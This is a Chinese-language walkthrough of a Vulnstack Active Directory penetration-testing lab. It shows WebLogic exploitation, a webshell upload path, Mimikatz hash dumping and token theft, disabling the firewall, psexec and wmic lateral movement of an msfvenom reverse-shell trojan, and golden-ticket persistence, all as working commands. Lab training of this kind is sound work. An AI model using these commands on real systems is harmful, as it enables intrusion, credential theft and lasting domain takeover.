一、環境搭建
1.1 靶場下載
靶場下載地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
靶機通用密碼: 1qaz@WSX
1.2 環境配置
拓朴圖
下載好靶機打開vmx文件即可,由於DMZ網段為192.168.111.0/24,所以需要將子網ip設置為192.168.111.0
1.3 環境說明
DC:
IP:10.10.10.10
OS:Windows 2012
應用:AD域
WEB(初始的狀態默認密碼無法登錄,切換用戶 de1ay/1qaz@WSX 登錄進去):
IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
應用:Weblogic 10.3.6 MSSQL 2008
PC:
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7
攻擊機:
IP:192.168.111.128
OS:Windows 10
IP:192.168.111.129
OS:Kali
內網網段:10.10.10.0/24
DMZ網段:192.168.111.0/24
先從WEB機開始,注意需要手動開啟服務,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一個 startWeblogic 的批處理,管理員身份運行它即可,管理員賬號密碼:Administrator/1qaz@WSX
WEB機和PC機:計算機右鍵->管理->配置->服務->Server、Workstation、Computer Browser 全部啟動
二、外網滲透
拿到環境后,首先進行端口探測,這里使用-sS參數,由於防火牆的存在不能使用icmp包,所以使用syn包探測
通過掃描端口,我們通過端口初步判斷目標機存在的服務及可能存在的漏洞,如445端口開放就意味着存smb服務,存在smb服務就可能存在ms17-010/端口溢出漏洞。開放139端口,就存在Samba服務,就可能存在爆破/未授權訪問/遠程命令執行漏洞。開放1433端口,就存在mssql服務,可能存在爆破/注入/SA弱口令。開放3389端口,就存在遠程桌面。開放7001端口就存在weblogic。
這里先看一下weblogic,直接使用 WeblogicScan 掃描一下可能存在的漏洞,工具地址:https://github.com/rabbitmask/WeblogicScan
命令:python3 WeblogicScan.py -u 192.168.111.80 -p 7001
使用 java 反序列化終極測試工具測試漏洞
上傳冰蠍馬,關於選擇 webshell 上傳路徑問題,參考 https://www.cnblogs.com/sstfy/p/10350915.html
上傳路徑為:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war\shell.jsp
冰蠍連接 http://192.168.111.80:7001/uddiexplorer/shell.jsp
CS上線
CS派生MSF
三、內網滲透
3.1 憑據獲取
右鍵->Access->Dump Hashes(需要Administrator權限)
右鍵->Access->Run Mimikatz
3.2 提權到system
ms14-058 提到 system 權限
也可以使用令牌竊取,提權
meterpreter > load incognito //加載incognito
meterpreter > getuid //查看當前token
meterpreter > list_tokens -u //列出可用token
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" //token竊取,格式為impersonate_token"主機名\\用戶名"
meterpreter > getuid //查看當前token
meterpreter > rev2self //返回之前的token
windows平台下的incognito.exe操作與此類似。
3.3 域信息收集
ipconfig /all,發現機器有雙網卡,內網 10.10.10.1/24 網段,域控 ip 10.10.10.10 (域控一般是本機的DNS服務器)
運行portscan模塊,掃描內網
查看域名 net config workstation
關閉防火牆 netsh advfirewall set allprofiles state off
查看有幾個域 net view /domain
查看域內主機 nei view
查詢域內用戶 net user /domain #該命令在本環境中需要在system權限下執行
查看域管理員 net group "domain admins" /domain
查看域控 net group "domain controllers" /domain
3.4 psexec 傳遞
psexec 是微軟 pstools 工具包中最常用的一個工具,也是在內網滲透中的免殺滲透利器。psexec 能夠在命令行下在對方沒有開啟 telnet 服務的時候返回一個半交互的命令行,像 telnet 客戶端一樣。原理是基於IPC共享,所以要目標打開 445 端口。另外在啟動這個 psexec 建立連接之后對方機器上會被安裝一個服務。
獲取憑據后對目標網段進行端口存活探測,因為是 psexec 傳遞登錄,這里僅需探測445端口
命令:portscan ip網段 端口 掃描協議(arp、icmp、none) 線程
例如:portscan 10.10.10.0/24 445 arp 200
可看到域控機器DC開放了445端口
工具欄 View->Targets 查看端口探測后的存活主機
新建一個 Listener,Payload 選擇 windows/beacon_smb/bind_pipe
存活主機右鍵->Login->psexec,選擇之前獲取到的憑據信息(明文密文均可),選擇 Listener 及主機 Session
DC成功上線:
3.5 IPC連接
建立IPC$連接上傳木馬 建立后可以訪問目標機器的文件(上傳、下載),也可以在目標機器上運行命令。上傳和下載文件直接通過copy命令就可以,不過路徑換成UNC路徑。
常用命令:
net use \\ip\ipc$ pawword /user:username 建立IPC連接
copy hacker.exe \\10.10.10.10\C$\windows\temp 復制本地文件到目標服務器
copy \\10.10.10.10\C$\windows\temp\hash.txt 復制目標服務器文件到本地
3.5.1 使用msf來中轉路由
1.meterpreter生成payload.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.10.80 LPORT=8888 -f exe > /tmp/payload.exe
2.ipc連接
beacon> shell net use \\ip\ipc$ pawword /user:username
beacon> shell copy C:\Users\de1ay.DE1AY\Desktop\payload.exe \\10.10.10.10\c$\windows\temp\payload.exe
3.meterpreter進行監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.80
set lport 8888
4.在跳板機上通過wmic命令執行木馬
beacon> shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create "C:\Windows\Temp\payload.exe"
成功上線:
sessions:
3.5.2 使用cobalt strike來中轉路由
作進一步拓展
1.點擊Listener 同meterpreter設置 lport ,lhost
2.生成木馬,設置listener為剛才設置的
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.10.80 LPORT=8888 -f exe > /tmp/payload.exe
3.ipc連接
beacon> shell net use \\ip\ipc$ pawword /user:username
beacon> shell copy C:\Users\de1ay.DE1AY\Desktop\payload.exe \\10.10.10.10\c$\windows\temp\payload.exe
4.在跳板機上通過wmic命令執行木馬
beacon> shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create "C:\Windows\Temp\payload.exe"
5.如果是在dc.de1ay.com雙擊木馬是普通權限,通過cs的中轉路由是administrator權限,此時我們拿到域控的管理員權限
四、權限維持
4.1域控信息收集
在域控獲得KRBTGT賬戶NTLM密碼哈希和SID
4.2黃金票據利用
黃金票據是偽造票據授予票據(TGT),也被稱為認證票據。TGT僅用於向域控制器上的密鑰分配中心(KDC)證明用戶已被其他域控制器認證。
黃金票據的條件要求:
1.域名稱
2.域的SID值
3.域的KRBTGT賬戶NTLM密碼哈希
4.偽造用戶名
黃金票據可以在擁有普通域用戶權限和KRBTGT賬號的哈希的情況下用來獲取域管理員權限,上面已經獲得域控的 system 權限了,還可以使用黃金票據做權限維持,當域控權限掉后,在通過域內其他任意機器偽造票據重新獲取最高權限。
WEB機 Administrator 權限機器->右鍵->Access->Golden Ticket
偽造成功:
參考: